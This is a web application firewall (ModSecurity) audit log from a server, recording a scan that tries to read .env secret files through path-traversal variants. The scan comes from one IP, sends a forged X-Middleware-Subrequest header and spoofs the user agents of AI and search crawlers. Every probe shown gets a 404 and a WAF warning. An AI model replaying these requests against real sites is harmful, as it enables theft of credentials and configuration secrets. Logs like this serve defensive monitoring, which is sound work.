Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e0699e75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e0699e75-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/files../.env"] [unique_id "aqZoO2M7dE9KgIIOpQhz-wAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555165348 66858 (- - -)
Stopwatch2: 1789290555165348 66858; combined=4587, p1=335, p2=4200, p3=0, p4=0, p5=52, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e0699e75-Z--

--f4fe1908-A--
[13/Sep/2026:12:09:15.286944 +0300] aqZoO0wu1RSkptiiNIX4DwAAAJg 34.73.246.242 37840 127.0.0.1 7081
--f4fe1908-B--
GET /static//app/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f4fe1908-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f4fe1908-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static/app/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4DwAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555137704 149312 (- - -)
Stopwatch2: 1789290555137704 149312; combined=4312, p1=200, p2=4061, p3=0, p4=0, p5=50, sr=68, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f4fe1908-Z--

--9e2c8e49-A--
[13/Sep/2026:12:09:15.303410 +0300] aqZoO0wu1RSkptiiNIX4DgAAAIA 34.73.246.242 37790 127.0.0.1 7081
--9e2c8e49-B--
GET /_nuxt/../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9e2c8e49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9e2c8e49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4DgAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555035245 268250 (- - -)
Stopwatch2: 1789290555035245 268250; combined=4936, p1=238, p2=4648, p3=0, p4=0, p5=49, sr=80, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9e2c8e49-Z--

--1be0594f-A--
[13/Sep/2026:12:09:15.329445 +0300] aqZoO2M7dE9KgIIOpQhz-QAAANI 34.73.246.242 37802 127.0.0.1 7081
--1be0594f-B--
GET /static../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1be0594f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1be0594f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static../.env"] [unique_id "aqZoO2M7dE9KgIIOpQhz-QAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555065145 264362 (- - -)
Stopwatch2: 1789290555065145 264362; combined=5162, p1=240, p2=4872, p3=0, p4=0, p5=49, sr=76, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1be0594f-Z--

--6d02986f-A--
[13/Sep/2026:12:09:15.339972 +0300] aqZoOzTJ6xTvcJoem7f6awAAAEE 34.73.246.242 37824 127.0.0.1 7081
--6d02986f-B--
GET /static//.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6d02986f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6d02986f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static/.env"] [unique_id "aqZoOzTJ6xTvcJoem7f6awAAAEE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555148138 191896 (- - -)
Stopwatch2: 1789290555148138 191896; combined=4323, p1=200, p2=4075, p3=0, p4=0, p5=48, sr=69, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6d02986f-Z--

--febea21d-A--
[13/Sep/2026:12:09:15.345743 +0300] aqZoO2M7dE9KgIIOpQhz-gAAANA 34.73.246.242 37806 127.0.0.1 7081
--febea21d-B--
GET /media../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--febea21d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--febea21d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/media../.env"] [unique_id "aqZoO2M7dE9KgIIOpQhz-gAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555094960 250845 (- - -)
Stopwatch2: 1789290555094960 250845; combined=15444, p1=208, p2=15180, p3=0, p4=0, p5=56, sr=70, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--febea21d-Z--

--917be361-A--
[13/Sep/2026:12:09:15.518948 +0300] aqZoO0wu1RSkptiiNIX4EAAAAIg 34.73.246.242 37850 127.0.0.1 7081
--917be361-B--
GET /static//home/user/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--917be361-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--917be361-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static/home/user/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4EAAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555452669 66342 (- - -)
Stopwatch2: 1789290555452669 66342; combined=4197, p1=227, p2=3918, p3=0, p4=0, p5=52, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--917be361-Z--

--875f4639-A--
[13/Sep/2026:12:09:15.596968 +0300] aqZoO0wu1RSkptiiNIX4EQAAAJc 34.73.246.242 55956 127.0.0.1 7081
--875f4639-B--
GET /.//.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--875f4639-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--875f4639-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4EQAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555522229 74802 (- - -)
Stopwatch2: 1789290555522229 74802; combined=4383, p1=260, p2=4067, p3=0, p4=0, p5=55, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--875f4639-Z--

--fb08cd5d-A--
[13/Sep/2026:12:09:15.618560 +0300] aqZoOysVWymXUono-eRUwgAAAAc 34.73.246.242 37864 127.0.0.1 7081
--fb08cd5d-B--
GET //.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--fb08cd5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fb08cd5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoOysVWymXUono-eRUwgAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555505578 113067 (- - -)
Stopwatch2: 1789290555505578 113067; combined=6607, p1=1363, p2=5191, p3=0, p4=0, p5=52, sr=159, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb08cd5d-Z--

--0636856a-A--
[13/Sep/2026:12:09:15.650145 +0300] aqZoOysVWymXUono-eRUwwAAAAg 34.73.246.242 55972 127.0.0.1 7081
--0636856a-B--
GET /api/.env/public/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0636856a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0636856a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/api/.env/public/.env"] [unique_id "aqZoOysVWymXUono-eRUwwAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555573496 76711 (- - -)
Stopwatch2: 1789290555573496 76711; combined=4333, p1=253, p2=4028, p3=0, p4=0, p5=51, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0636856a-Z--

--78c4887c-A--
[13/Sep/2026:12:09:15.652226 +0300] aqZoO2M7dE9KgIIOpQh0AAAAANY 34.73.246.242 55960 127.0.0.1 7081
--78c4887c-B--
GET /%2eenv HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--78c4887c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--78c4887c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555567086 85199 (- - -)
Stopwatch2: 1789290555567086 85199; combined=4253, p1=254, p2=3961, p3=0, p4=0, p5=38, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--78c4887c-Z--

--c773fe05-A--
[13/Sep/2026:12:09:15.939702 +0300] aqZoO2M7dE9KgIIOpQh0AQAAAM4 34.73.246.242 55984 127.0.0.1 7081
--c773fe05-B--
GET /assets../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c773fe05-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c773fe05-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/assets../.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AQAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555754349 185416 (- - -)
Stopwatch2: 1789290555754349 185416; combined=15328, p1=482, p2=14720, p3=0, p4=0, p5=126, sr=238, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c773fe05-Z--

--7aefd750-A--
[13/Sep/2026:12:09:15.990980 +0300] aqZoOzTJ6xTvcJoem7f6bAAAAFM 34.73.246.242 56000 127.0.0.1 7081
--7aefd750-B--
GET /images../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
